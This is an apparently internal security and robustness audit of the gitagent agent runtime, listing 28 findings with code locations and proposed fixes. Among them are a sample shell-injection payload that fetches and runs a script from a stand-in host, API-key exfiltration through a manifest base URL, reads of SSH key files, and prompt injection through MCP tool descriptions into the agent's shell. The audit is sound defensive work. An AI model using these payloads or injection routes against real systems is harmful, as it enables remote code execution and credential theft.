Scope: main @ d3e25d7 (published @open-gitagent/gitagent@2.1.0)
Method: Five deep passes — 2× context-management, security/RCE, MCP robustness, lifecycle/resource/multi-tenant — plus engine/compat analysis against @mariozechner/pi-agent-core & pi-ai (installed 0.70.6, latest 0.73.1). Line references are to main at review time.
Status: Findings only — no fixes applied.
gitagent ships the vocabulary of a safe, managed agent runtime — abort, steer, maxTurns, constraints, compact.ts, permission hooks, audit — but ~six of those are demonstrably disconnected, the "agent = a git repo you fork and run" premise is a load-time RCE/exfil vector, and it under-uses the pi engine so badly that several capabilities it appears to "lack" are one config line away. Every reviewer independently flagged the multi-tenant (JPMC per-employee) model as unsafe in a shared process.
- G1 · Load-time shell-injection RCE.
execSync(\git clone "${manifest.extends}" ...`)(loader.ts:182,:229) andexecSync(`git ${args}`)withopts.session(session.ts:35,87) interpolate untrustedagent.yaml/session fields.extends: "$(curl evil.sh|sh)"runs **on load, before any hook exists**. Fix already in-repo:plugins.ts:162usesexecFileSync` argv form. - G2 · API-key + full-conversation exfiltration via
model@baseUrl.anthropic:…@https://exfil/v1(orGITAGENT_MODEL_BASE_URL) makes gitagent copy the host key into the request and ship every prompt/file to the attacker (loader.ts:396-421). One YAML string, no injection needed. - G3 · Auto-spawn RCE. Plugin
entryisimport()-ed and MCPcommandis spawned, auto-installed from a repo-declaredsourcewith no operator opt-in (plugins.ts:241-252,mcp/manager.ts:168,sdk.ts:213).extendscan injectmcp_servers(deep-merged per-key → child{command}inherits parent{args:[evil]}). - G4 ·
${VAR}interpolation leaks host secrets into plugin config & MCP headers/URLs (env-utils.ts:12,plugins.ts:76,mcp/manager.ts:142) — a malicious"${ANTHROPIC_API_KEY}"value exfiltrates to the plugin/remote server. Credentialed MCP URLs also leak intoconsole.warn(manager.ts:199). - G5 · Safety hooks fail OPEN. Every
executeHookfailure — nosh(Windows), crash, timeout, non-zero exit, non-JSON output — is swallowed →allow(hooks.ts:139-154). The one runtime gate inverts safe→unsafe. Default state = no gate at all. - G6 · Zero filesystem/exec jail on main.
read ~/.ssh/id_rsa,write ~/.ssh/authorized_keys, unrestrictedcliall work (read/write/edit.ts:7,cli.ts:30); the "sandbox" path resolver doesn't jail either (shared.ts:117). MCP tools have no permission gate — a server's tool description can prompt-inject into the builtinclishell (manager.ts:113). - G7 · Escapes & tamperable audit. Symlink escape past the lexical hook guard (
hooks.ts:66, no realpath); declarative-toolscript/runtimeescape with no containment (tool-loader.ts:82); audit is opt-in and manifest-controlled, agent-writable, logs secret args unredacted, andlogToolResultis dead code (audit.ts).
- G8 ·
query().abort()is a no-op.ac(sdk.ts:93) is wired to nothing; the Agent makes its own controller andagent.abort()is never called (CLI calls it correctly —index.ts:836). No kill switch: unbounded spend, e2b billing, un-killable subprocesses. - G9 ·
query().steer()is an empty body (sdk.ts:610) whileagent.steer()works — mid-run corrections ("don't push that") silently vanish. - G10 ·
maxTurns+ allconstraints(temp/max_tokens/topP) silently dropped.initialStatespread drops unknown keys (sdk.ts:315); the engine loop iswhile(true)with no iteration cap.agent.yaml: max_turns: 56is decoration; provider gets hardcodedmax_tokens = model.max/3. - G11 · Multi-turn
AsyncIterableprompt broken.channel.finish()fires on the firstagent_end(sdk.ts:485); turns 2..N run headless, pushing into a dead buffer. The documented multi-turn API is broken and untested, and there's nomessages/resumealternative. - G12 · Early
breakdoesn't cancel — producer keeps running/billing;return()/throw()onlychannel.finish(), never abort (sdk.ts:635).
- G13 · Zero context-window management; overflow bricks the session.
compact.tsis dead code; the engine's purpose-builttransformContexthook is never passed (sdk.ts:310). Overflow → providerstopReason:"error", no retry/truncate/fallback, and a poison-pill empty-assistant message makes every subsequent turn fail. REPL has no/clear. Ctrl+C mid-tool orphans atool_use→ permanent 400. - G14 · Tool-result caps are per-call, inconsistent, and absent for SDK/plugin tools (
toAgentToolbypassesbuildTool—tool-utils.ts:15). ~6–8 largecli/readresults ≈ 200k tokens → G13. Nothing prunes old results. - G15 · System prompt can blow the window before the first token — unbounded SOUL/RULES/knowledge
always_load/everyexamples/*.md, no length check vsmodel.contextWindow(loader.ts:271-382); custom models hardcodecontextWindow:128000(an 8k local model lies). - G16 · Token estimate is
chars/4— 33–54% under on JSON, ignores system prompt + tool schemas, hardcodes 200k, double-counts deltas (compact.ts). Exact per-turnusage.inputis captured but used only for cost, never for an overflow guard.
- G17 · Hook-block early-returns leak the e2b VM and leave the GitHub PAT in
.git/config(finalize/sandbox-stop live outside thefinally,sdk.ts:548-575). PAT also on thegit clonecommand line (ps-visible) and pushed before the scrub. - G18 ·
clitimeout doesn't kill (SIGTERM toshonly, no process-group/SIGKILL; settles onclosenotexit) → grandchildren survive, promise hangs forever → query never ends, span never exported, VM never stops (cli.ts:40). Output buffered unbounded before the 100k cap → OOM onyes. - G19 · Non-LLM failures reported as success — infra throws become
session_end:"Agent finished"with a resolved promise (sdk.ts:485); schedulers/CI/audit record success for failed runs. - G20 · Process-crash vectors: unhandled rejection from
throw nullor a sync-throwingonErrorinside the.catch(sdk.ts:589); EPIPE crash when a hook script exits without reading stdin (hooks.ts:92, nostdin.on('error')). One tenant's bad hook kills every tenant. - G21 · Scheduler self-destructs:
runningJobs.deletenot infinally→ a throw permanently wedges a schedule; cron callbacks aren't.catch-ed → process exit; far-futureonceschedules fire immediately (setTimeout>24.8d clamps to 1ms);activeTasks/runningJobsare module globals → cross-tenant collisions + orphaned untracked cron tasks (schedule-runner.ts). - G22 · Cross-tenant bleed in one process:
process.env.OPENAI_API_KEY = providerKeyglobal mutation (loader.ts:415) → tenant B authenticates with tenant A's key; telemetry is a global singleton (tenant B's spans → tenant A's collector with A's auth headers); MCPSIGTERM(docker/k8s default) skips cleanup → zombie children per container. - G23 · Synchronous git blocks the whole event loop (
execSyncclone/fetch/push insession.ts/loader.ts) → head-of-line blocking for every tenant in an embedding server.
- G24 · Cost = $0 for every gateway/custom-endpoint model (
createCustomModelhardcodescost:{0,0,0,0},loader.ts:96) — on thelocalhost:8090gateway setup,q.costs()andgitagent.cost_usdare permanently zero. Chargeback is fiction exactly where JPMC needs it. - G25 · Mutating tools run in PARALLEL → file/git corruption. Engine default
toolExecution:"parallel"; gitagent sets its own ignoredisConcurrencySafebut neverexecutionMode(tool-factory.ts:26,agent-loop.js:226). Twowrites /edit+git commit/memory-save race →index.lock, corrupt files, lost writes. - G26 · MCP fragility:
options.toolsbypass the collision check → duplicate name → provider 400 kills the session (a hostile server can pick colliding names = DoS,sdk.ts:217);timeoutMsignored forlistTools(hardcoded 30s);listToolsis serial → 5 slow servers = 150s dead air before first token; failures areconsole.warn-only (invisible to model + stream); schema conversion flattens$ref/oneOf/dict-args to "no parameters" (tool-loader.ts:27); image/audio results discarded;isErrornot propagated (failure hooks blind); unbounded intake before truncation (multi-GB result → OOM). - G27 · Memory/history hygiene:
collectedMessagesretains every delta ~2× forever + channel has no backpressure (sdk.ts:108); chat-history JSONL grows unbounded with full-file sync reads on the hot path (chat-history.ts);MEMORY.mdload is uncapped andsavere-sends the whole file (2× tokens);memory.ts:170commit message escapes only"→ shell injection on`/$(). - G28 · Stale/under-used engine. Pinned
^0.70.2(locked to 0.70.x; latest 0.73.1 — safe upgrade,Agent/agent-loopAPI byte-identical, adds current model IDs/providers/thinkingLevelMap). gitagent passes onlyinitialStatetonew Agent()— unused:transformContext(compaction),toolExecution,beforeToolCall/afterToolCall,thinkingBudgets,transport,maxRetryDelayMs,followUp,waitForIdle,getApiKey. Note: parallel tools + retry are already built-in, not "own-the-loop" work.
execFileSyncfor all 3 git-injection sites (G1)- Redact/ban the
@baseUrlkey-copy from untrusted manifests (G2) stdin.on('error')+ makepre_tool_use/on_session_starthooks fail closed (G5, G20)runningJobs.deleteinfinally+.catchthe cron callbacks (G21)- Wire
ac→agent.abort()andsteer→agent.steer()(G8, G9) - Call
mcpSetup.cleanup()onSIGTERM(G26)
- Wire
transformContext→truncateToolResults+ drop-oldest + a realusage-based token guard (G13, G14, G16); add/clear+QueryOptions.messages/resume. - Realpath filesystem jail +
cliallow/deny policy on main; gate plugin/MCP spawn + MCP tools behind operator opt-in / permissions (G3, G6, G7). - Move
finalize/sandbox-stop intofinally; fix cleanup ordering; process-group kill + SIGKILL + settle-on-exitincli(G17, G18). - Multi-tenant: stop mutating
process.env, per-instance telemetry, per-agentDir scheduler state — or mandate process-per-tenant for JPMC (G22). executionMode:"sequential"on mutating tools (G25); real cost table / gateway usage parsing (G24); bump pi to 0.73.x (G28).
- "Vocabulary without wiring":
abort,steer,maxTurns,constraints,compact.ts,maxResultSizeCharsare all present in the API and disconnected from the runtime. - Untrusted manifest = attacker input: the "agents as repos" premise means
agent.yaml/extends/plugins/mcp_serversare attacker-reachable; today loading one is RCE/exfil. - Multi-tenant is unsafe in a shared process (
process.envmutation, telemetry & scheduler globals, sync git) — for the JPMC per-employee deployment the only current mitigation is process-per-tenant, and even that leaks on hangs. - The engine is stronger than gitagent uses it — compaction (
transformContext), parallel tools, retry, steering, idle detection are all available in 0.70+ and unused.